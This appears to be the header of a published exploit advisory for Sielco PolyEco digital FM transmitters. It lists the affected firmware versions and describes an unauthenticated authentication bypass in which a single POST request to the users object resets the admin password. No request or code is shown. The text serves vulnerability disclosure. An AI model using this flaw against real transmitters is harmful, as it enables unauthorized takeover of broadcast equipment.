• ## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP
  ## Exploit Author: LiquidWorm
  
  
  Vendor: Sielco S.r.l
  Product web page: https://www.sielco.org
  Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
  PolyEco1000 CPU:1.9.4 FPGA:10.19
  PolyEco1000 CPU:1.9.3 FPGA:10.19
  PolyEco500 CPU:1.7.0 FPGA:10.16
  PolyEco300 CPU:2.0.2 FPGA:10.19
  PolyEco300 CPU:2.0.0 FPGA:10.19
  
  Summary: PolyEco is the innovative family of high-end digital
  FM transmitters of Sielco. They are especially suited as high
  performance power system exciters or compact low-mid power
  transmitters. The same cabinet may in fact be fitted with 50,
  100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
  1000).
  
  All features can be controlled via the large touch-screen display
  4.3" or remotely. Many advanced features are inside by default
  in the basic version such as: stereo and RDS encoder, audio
  change-over, remote-control via LAN and SNMP, "FFT" spectral
  analysis of the audio sources, SFN synchronization and much more.
  
  Desc: The application suffers from an authentication bypass,
  account takeover/lockout and elevation of privileges vulnerability
  that can be triggered by directly calling the users object and
  effectively modifying the password of the two constants user/role
  (user/admin). This can be exploited by an unauthenticated adversary
  by issuing a single POST request to the vulnerable endpoint and
  gain unauthorized access to the affected device with administrative
  privileges.
